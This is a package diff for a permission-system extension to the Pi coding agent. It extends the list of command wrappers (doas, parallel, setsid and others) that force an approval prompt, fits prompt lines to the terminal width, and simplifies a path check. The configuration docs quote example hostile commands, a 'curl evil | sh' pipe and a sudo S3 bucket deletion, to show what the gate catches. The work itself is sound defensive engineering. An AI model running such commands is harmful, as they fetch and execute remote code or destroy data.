@gotgenes/pi-permission-system 20.7.0 → 20.7.2

package/CHANGELOG.md

@@ -5,6 +5,25 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [20.7.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.1...pi-permission-system-v20.7.2) (2026-07-14)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** floor additional exec-capable indirection wrappers ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([abddb7b](https://github.com/gotgenes/pi-packages/commit/abddb7b70077cef7fc12f3eea75ce6f38de6006f))
+
+
+### Documentation
+
+* **pi-permission-system:** record exec-capable wrapper survey and mark Phase 11 Step 6 complete ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([6485246](https://github.com/gotgenes/pi-packages/commit/6485246577ec1cba992275b983809a1fcb30be2c))
+
+## [20.7.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.0...pi-permission-system-v20.7.1) (2026-07-14)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** clip inline permission prompt lines to terminal width ([e3c6907](https://github.com/gotgenes/pi-packages/commit/e3c6907057070cbb444f4ca0dbc69661849b7dc2)), closes [#573](https://github.com/gotgenes/pi-packages/issues/573)
+
 ## [20.7.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.6.0...pi-permission-system-v20.7.0) (2026-07-14)
 
 

package/docs/configuration.md

@@ -326,7 +326,7 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
-- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
+- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
   So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
   As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "20.7.0",
+  "version": "20.7.2",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/access-intent/bash/command-enumeration.ts

@@ -166,6 +166,17 @@ const INDIRECTION_WRAPPER_NAMES = new Set([
   "nohup",
   "timeout",
   "nice",
+  // Exec-capable rewrites and prefix wrappers surveyed in #575: parallelizers
+  // (parallel/rust-parallel/rush), a sudo rewrite (doas), and prefix wrappers
+  // (setsid/stdbuf/watch/flock) that all always invoke a following command.
+  "parallel",
+  "rust-parallel",
+  "rush",
+  "doas",
+  "setsid",
+  "stdbuf",
+  "watch",
+  "flock",
 ]);
 
 /**

package/src/authority/permission-prompt-component.ts

@@ -2,7 +2,12 @@ import type {
   ExtensionContext,
   ExtensionUIContext,
 } from "@earendil-works/pi-coding-agent";
-import { type Component, matchesKey } from "@earendil-works/pi-tui";
+import {
+  type Component,
+  matchesKey,
+  truncateToWidth,
+  wrapTextWithAnsi,
+} from "@earendil-works/pi-tui";
 import {
   type PermissionPromptDecision,
   type RequestPermissionOptions,
@@ -126,7 +131,11 @@ class PermissionPromptComponent implements Component {
     // No cached rendering state to clear.
   }
 
-  render(_width: number): string[] {
+  render(width: number): string[] {
+    return fitToWidth(this.renderStep(), width);
+  }
+
+  private renderStep(): string[] {
     switch (this.state.step) {
       case "decision":
         return this.renderDecision();
@@ -264,6 +273,24 @@ class PermissionPromptComponent implements Component {
   }
 }
 
+/**
+ * Fit rendered lines to the terminal width, satisfying the `ctx.ui.custom`
+ * contract that every returned line be a single visual row no wider than
+ * `width`. Long lines (e.g. a wide tool-preview message) are wrapped rather
+ * than clipped so no content is lost; the final `truncateToWidth` guards the
+ * edge cases `wrapTextWithAnsi` cannot split (a lone wide grapheme).
+ */
+function fitToWidth(lines: string[], width: number): string[] {
+  if (width <= 0) {
+    return [];
+  }
+  return lines.flatMap((line) =>
+    wrapTextWithAnsi(line, width).map((wrapped) =>
+      truncateToWidth(wrapped, width),
+    ),
+  );
+}
+
 function isPrintable(data: string): boolean {
   if (data.length !== 1) {
     return false;

package/src/authority/subagent-context.ts

@@ -21,24 +21,6 @@ export function normalizeFilesystemPath(
   return flavor.fold(flavor.impl.normalize(pathValue));
 }
 
-function isPathWithinDirectoryForSubagent(
-  pathValue: string,
-  directory: string,
-  flavor: PathFlavor,
-): boolean {
-  if (!pathValue || !directory) {
-    return false;
-  }
-
-  if (pathValue === directory) {
-    return true;
-  }
-
-  const sep = flavor.impl.sep;
-  const prefix = directory.endsWith(sep) ? directory : `${directory}${sep}`;
-  return pathValue.startsWith(prefix);
-}
-
 /**
  * Return `true` when `ctx` belongs to an in-process subagent child registered
  * in `registry` by its session id.
@@ -101,9 +83,5 @@ export function isSubagentExecutionContext(
     subagentSessionsDir,
     flavor,
   );
-  return isPathWithinDirectoryForSubagent(
-    normalizedSessionDir,
-    normalizedSubagentRoot,
-    flavor,
-  );
+  return flavor.isWithin(normalizedSessionDir, normalizedSubagentRoot);
 }